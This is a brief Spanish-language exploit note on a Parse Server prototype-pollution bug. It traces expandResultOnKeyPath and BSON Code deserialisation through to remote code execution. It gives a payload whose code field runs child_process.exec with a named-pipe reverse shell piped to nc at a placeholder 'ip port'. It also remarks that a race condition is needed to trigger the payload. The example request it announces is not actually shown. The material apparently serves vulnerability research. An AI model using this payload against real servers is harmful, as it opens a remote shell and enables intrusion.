



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPathDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult se utiliza al añadir y actualizar clases nuevas. Sin embargo, para que se produzca la contaminación de prototipos, debe cumplirse la condición de que keyUpdate __op pertenezca a ['Add', 'AddUnique', 'Remove', 'Increment']
Por lo tanto, los valores de prototipo solo pueden ser array o number


Ejemplo de petición:

serialize mediante la librería BSON; cuando _bsontype es Code, se procede a serializeCode
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] -> bypass a la función isolateEval"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath ocurre después de la deserialización, es necesario ejecutar una condición de carrera de forma continua para poder activarlo al llegar a isolateEval